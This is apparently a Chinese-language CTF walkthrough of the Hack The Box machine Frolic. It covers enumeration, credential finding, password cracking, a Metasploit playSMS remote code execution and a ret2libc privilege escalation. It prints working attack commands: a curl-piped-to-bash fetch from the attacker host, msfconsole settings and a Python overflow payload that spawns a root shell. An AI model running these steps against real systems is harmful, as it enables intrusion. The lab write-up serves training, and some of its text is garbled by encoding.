【HTB系列】靶機Frolic的***測試詳解

 

本文做者:是大方子(Ms08067實驗室核心成員)php

Hack The Box是一個CTF挑戰靶機平臺,在線***測試平臺。它能幫助你提高***測試技能和黑盒測試技能,它包含了一些不斷更新的挑戰,其中有模擬真實世界場景,也有傾向於CTF風格的挑戰。python

https://www.hackthebox.eu/
平臺上有不少靶機,從易到難,***每***一臺機器都會得到相應積分,經過積分排名設有名人堂。今天要實驗的是靶機Frolic。linux

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

首先咱們用nmap掃描靶機開放的端口和服務:ios

nmap -sV -sT -sC 10.10.10.111  

結果以下nginx

Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-31 14:49 CST  
Nmap scan report for 10.10.10.111  
Host is up (0.33s latency).  
Not shown: 996 closed ports  
PORT     STATE SERVICE     VERSION  
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:   
|   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)  
|   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)  
|_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)  
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)  
9999/tcp open  http        nginx 1.10.3 (Ubuntu)  
|_http-server-header: nginx/1.10.3 (Ubuntu)  
|_http-title: Welcome to nginx!  
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel  
  
Host script results:  
|_clock-skew: mean: -1h50m00s, deviation: 3h10m30s, median: -1s  
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)  
| smb-os-discovery:   
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)  
|   Computer name: frolic  
|   NetBIOS computer name: FROLIC\x00  
|   Domain name: \x00  
|   FQDN: frolic  
|_  System time: 2019-03-31T12:20:18+05:30  
| smb-security-mode:   
|   account_used: guest  
|   authentication_level: user  
|   challenge_response: supported  
|_  message_signing: disabled (dangerous, but default)  
| smb2-security-mode:   
|   2.02:   
|_    Message signing enabled but not required  
| smb2-time:   
|   date: 2019-03-31 14:50:18  
|_  start_date: N/A  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 63.62 seconds  

能夠看到22號端口上的SSH,139和445的SMB,和9999端口上的http。git

咱們先檢查下SMB有沒有能夠利用的點,這裏用smbmap看看靶機的文件的共享狀況github

smbmap -H 10.10.10.111 
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

出現2個共享可是咱們沒有訪問的權限。shell

咱們去http看下ubuntu

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
*技巧提示:可使用nc -zx IP 端口 能夠快速檢測目標地址指定端口是否打開。

在這咱們 nc -zx 10.10.10.111 1880 會出現

10.10.10.111: inverse host lookup failed:  Unknown host
(UNKNOWN) [10.10.10.111] 1880 (?) open

這裏的open說明1880端口是打開的

一個歡迎頁面,底下有一行Thankyou for using nginx. http://forlic.htb:1880vim

咱們訪問下10.10.10.111:1880

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

一個後臺,咱們須要帳號密碼,嘗試一些常見默認帳號和密碼登錄會出現提示登錄失敗,可是當我用admin:password的時候,頁面會一直卡着不會跳出任何提示,也不知道爲何,並且這裏由於作了安全措施失敗屢次會讓咱們等10分鐘再試,因此是不能用過暴力破解來獲得帳號密碼的

咱們用gobuster爆破下網站的目錄

gobuster -u http://10.10.10.111:9999 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o fronlic-gobuster.log -t 40  
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

Gobuster仍是掃描出了部分,咱們直接看看這些都是什麼

/backup:

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

/dev:

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

/test:

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

/admin:

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

咱們看到backup裏面有3個文件(password.txt user.txt loop/)

咱們訪問下http://10.10.10.111:9999/backup/password.txt

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

出現內容:password - imnothuman

咱們訪問下http://10.10.10.111:9999/backup/user.txt

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

出現內容:user - admin
這樣咱們就獲得一組帳號密碼:admin: imnothuman

去剛剛那個Node-RED嘗試登錄

2289839-20210205175305123-593917374.jpg

發現不行,咱們去/admin試試

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

提示出現 You have left 2 attempt,我用burp抓包發現並無任何信息,我查看了源碼的JS發現這個

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

做者的一個小把戲,咱們在頁面上輸入 admin: superduperlooperpassword_lol

進去發現是一堆亂七八糟的東西

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

應該是一種編碼,這也把這堆東西複製到谷歌裏面去找到了這個網站

https://www.dcode.fr/ook-language

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

訪問下/ asdiSIAJJ0QWE9JAS

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

用vim寫入frolic.bas64(裏面會有空格出現記得去除,能夠用vim的命令行輸入 s/ //g去)

用base64進行解碼

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

出現亂七八糟的東西,由於是別的文件數據,咱們導出到一個文件並檢查類型

base64 -d frolic.bas64 > frolic  
file frolic  
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

發現是一個ZIP文件

用mv給它重命名下,並用zipinfu查看下信息

mv frolic frolic.zip  
zipinfo frolic.zip  
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

解壓發現須要密碼

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

咱們用zip2john把這個壓縮文件轉換爲密碼HASH,而後用john去破解下

zip2john frolic.zip > frolic.zip.hash  
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
john --wordlist=/usr/share/wordlists/rockyou.txt frolic.zip.hash  
john frolic.zip.hash --show 
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

找到密碼:password
而後再次解壓

Cat下內容感受像是16進制,咱們轉換下試試看

cat index.php | xxd -r -ps  

把這些內容輸出到一個文件內並用base64轉碼下,注意這裏的輸出到文件帶有換行須要去除文件裏面的換行

cat index.php | xxd -r -p > index.php.b64  

這段一樣須要解密,我一樣用GOOGLE找到對應破解的網站

網站:https://www.dcode.fr/langage-brainfuck

解密結果:idkwhatispass

到這裏已經沒什麼線索,咱們總共獲得2組密碼,說明應該還有網頁沒有被咱們找到,密碼應該屬於沒有被咱們找到的網頁的

這裏咱們在第一次爆破的基礎上繼續爆破輸入命令

for i in admin dev test backup loop;do gobuster -u http://10.10.10.111:9999/$i -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 150 -o Fronlic-gobuster-$i.log;done  

這段命令就是讓admin dev test backup loop和http://10.10.10.111:9999/進行組合而後調用gobuster進行掃描輸出,咱們須要等待段時間

咱們會找到在/dev下還有個/backup目錄

訪問下

而後嘗試用咱們剛剛獲得的密碼進行登錄。

正確的帳號密碼:admin:idkwhatispass

咱們查找看看playsms有沒有已知能夠利用的漏洞

searchsploit playsms  

咱們直接使用1.4版本的 遠程代碼執行漏洞

咱們能夠 searchsploit-x Path 查看對應的漏洞說明,手動利用

也可使用msf中集成好的

msf5 exploit(multi/http/playsms_uploadcsv_exec) > set password idkwhatispass  
password => idkwhatispass  
msf5 exploit(multi/http/playsms_uploadcsv_exec) > set rport 9999  
rport => 9999  
msf5 exploit(multi/http/playsms_uploadcsv_exec) > set rhosts 10.10.10.111  
rhosts => 10.10.10.111  
msf5 exploit(multi/http/playsms_uploadcsv_exec) > set targeturi /playsms  
targeturi => /playsms  
msf5 exploit(multi/http/playsms_uploadcsv_exec) > set lhost 10.10.15.36  
lhost => 10.10.15.36  
msf5 exploit(multi/http/playsms_uploadcsv_exec) > run  

成功後會返回一個會話

獲得user flag

接下來就是提權得到root權限

這裏咱們用到LinEnum用來檢查能夠用來提權的利用點
Github:https://github.com/rebootuser/LinEnum

使用python的SimpleHTTPServer的模塊把LineEnum上傳到靶機執行

而後在shell中執行

curl http://10.10.15.36:8000/LinEnum.sh | bash  

在這裏咱們看到帶有SUID的文件有一個是ayush的目錄下

能夠看到這個文件咱們擁有可執行權限

會獲取咱們的輸入而後輸出

咱們經過

base64 rop  

獲得這個文件內容的的編碼內容,而後在放回到本機對這個文件解碼進行查看調試

base64 -d rop.ba64 > rop  
chmod +x rop  
./rop hello  

而後咱們本地用gdb進行調試

gdb rop  

 

咱們生產一個100長度的輸入給rop

結果以下

發現程序被終止並提示了SIGSEGV
由於輸入過多致使溢出

咱們記錄下上面發生錯誤的位置 0x41474141

轉化下就是AGAA

就是咱們剛剛輸入的這個位置

用pattern_offset 0x1474141計算下位置,是52

而後咱們用python輸出52個A

同時在後面加上本身的信息

轉化下0x7a666473

說明52個字符後就會產生溢出。

如今咱們須要知道/bin/sh的地址,我不會像之前那樣經過在環境變量中加載字符串來實現。有一種更好的方法,首先咱們須要找到/bin/shin 的偏移量libc,咱們將用它strings來獲取地址:

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh  

地址:0x0015ba0b

而後咱們須要地址libc,咱們可使用ldd它來獲取它:

ldd rop  

地址:0xb7e19000

而後咱們將整合兩個地址來獲取 /bin/sh的真正地址

/bin/sh:0x0015ba0b+ 0xb7e19000=0xb7f74a0b

如今咱們須要的system()和exit()的地址

這裏我須要在靶機上運行gdb查看,可是靶機沒有gdb,咱們須要從github上而後下載傳到靶機上,靶機能夠用wget命令進行下載,而後給gdb 加執行權限,最後對rop進行調試

Github:https://github.com/hugsy/gdb-static/blob/master/gdb-7.10.1-x32

wget http://10.10.15.36:8000/gdb-7.10.1-x32  
mv gdb-7.10.1-x32 gdb  
chmod +x gdb  
./gdb /home/ayush/.binary/rop  

經過
(gdb)p system
(gdb)p exit

寫成payload

#!/usr/bin/python  
    
import struct  

buf = "A" * 52  
system = struct.pack("I" ,0xb7e53da0)  
exit = struct.pack("I" ,0xb7e479d0)  
shell = struct.pack("I" ,0xb7f74a0b)  
print buf + system + exit + shell

而後把exp上傳到靶機中去獲得root權限

轉載請聯繫做者並註明出處!

Ms08067安全實驗室專一於網絡安全知識的普及和培訓。團隊已出版《Web安全***:***測試實戰指南》,《內網安全***:***測試實戰指南》,《Python安全***:***測試實戰指南》,《Java代碼安全審計(入門篇)》等書籍。團隊公衆號按期分享關於CTF靶場、內網***、APT方面技術乾貨,從零開始、以實戰落地爲主,致力於作一個實用的乾貨分享型公衆號。 

相關文章
相關標籤/搜索